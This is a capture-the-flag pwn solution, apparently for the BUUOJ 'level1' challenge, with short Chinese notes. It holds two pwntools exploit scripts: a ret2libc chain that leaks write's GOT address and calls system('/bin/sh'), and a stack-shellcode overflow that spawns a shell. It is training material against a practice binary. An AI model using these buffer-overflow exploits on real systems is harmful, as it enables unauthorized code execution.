1. from pwn import *
    2. from LibcSearcher import LibcSearcher
    4. context.log_level = "debug"
    6. # io = process("./level1")
    7. io = remote("node4.buuoj.cn",29196)
    8. elf = ELF("./level1")
    10. offset = 0x88
    11. vuln_addr = elf.symbols["vulnerable_function"]
    12. write_plt = elf.plt["write"]
    13. write_got = elf.got["write"]
    14. # 0x0804847B
    16. payload = b"A" * (offset + 4) + p32(write_plt) + p32(vuln_addr) + p32(0) + p32(write_got) + p32(4)
    17. io.sendline(payload)
    18. write_addr = u32(io.recv())
    19. print("recv --- >",hex(write_addr))
    21. libc = LibcSearcher("write",write_addr)
    22. libcbase = write_addr - libc.dump("write")
    23. system_addr = libcbase + libc.dump("system")
    24. bin_sh = libcbase + libc.dump("str_bin_sh")
    26. payload = b"A" * (offset + 4) + p32(system_addr) + p32(0x1) + p32(bin_sh)
    27. io.sendline(payload)
    28. io.interactive()

    打远程的
    shellcode写栈上的估计远程打不通

    1. from pwn import*
    2. context(arch='i386',os='linux',log_level='debug')
    4. io = remote("node4.buuoj.cn",29172)
    5. #io = process('./level1')
    6. sleep(0.1)
    8. shellcode = asm(shellcraft.sh())
    9. buf = io.recvline()
    10. buf_addr = buf[14:22]
    11. buf_addr = int(buf_addr,16)
    12. log.success(hex(buf_addr))
    15. #shellcode = asm(shellcraft.sh())
    16. shellcode = shellcode.ljust(0x8c,b'a')
    17. shellcode+=p32(buf_addr)
    18. io.sendline(shellcode)
    19. io.interactive()

    这个本地打的通，远程不行，